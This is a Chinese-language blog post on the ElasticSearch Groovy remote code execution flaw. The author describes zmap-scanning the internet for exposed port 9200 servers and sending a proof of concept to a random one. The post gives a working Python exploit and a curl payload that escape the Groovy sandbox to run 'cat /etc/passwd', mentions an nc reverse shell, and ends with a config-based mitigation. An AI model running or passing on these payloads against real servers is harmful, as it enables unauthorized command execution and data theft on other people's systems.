ElasticSearch Groovy腳本遠程代碼執行漏洞

什麼是ElasticSearch?

它是一種分佈式的、實時性的、由JAVA開發的搜索和分析引擎。

2014年,曾經被曝出過一個遠程代碼執行漏洞(CVE-2014-3120),漏洞出現在腳本查詢模塊,由於搜索引擎支持使用腳本代碼(MVEL),作爲表達式進行數據操作,***者可以通過MVEL構造執行任意java代碼,後來腳本語言引擎換成了Groovy,並且加入了沙盒進行控制,危險的代碼會被攔截,結果這次由於沙盒限制的不嚴格,導致遠程代碼執行任意命令。。。“任意”你懂的,比如:利用nc反彈shell。Groovy是一種運行在JVM上的腳本語言,語法和java很像,同樣可以調用java中的各種對象和方法,但是Groovy的語法更簡單。


先用zmap掃一下。。。。真的有很多是在公網上的,雖然服務器是內網但是9200端口被映射了出來。。。

wKioL1T4ariAltomAAiGHBa3bgw430.jpg

從結果中找隨便找一個,先用firefox看看,瀏覽器以post方式提交pocwKiom1T4aq6S0j6gAAh34ECscNM635.jpg

覺得麻煩就用python寫了一個。。。爲了演示,沒帶批量功能。。。

wKiom1T4ay3xVonoAAOWViJZ8jE033.jpg

附上代碼:(請勿用於非法目的)

import sys
import json
import requests

query = json.dumps({"size":1,"script_fields": {"exp": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}})


url = sys.argv[1]
request = requests.post(url, data=query)

result = json.loads(request.text)['hits']['hits'][0]['fields']['exp']

for i in result[0]:
    print i


當然你用最簡單的curl -XPOST命令也是可以

curl -XPOST http://ip:9200/_search?pretty=true -d '{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}'


wKiom1T-pHLBDfG9AAgqxx2hob8105.jpg

ElasticSearch的groovy引起的代碼執行,很多國內安全廠商給出的建議是一升了之,但是很多裝了插件的應用服務器,升級之後會造成插件不能訪問,甚至導致業務中斷,目前比較折衷的解決方案是修改配置文件,禁用groovy腳本,在配置文件中添加:script.groovy.sandbox.enabled: false,重啓es服務。


Good Luck!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章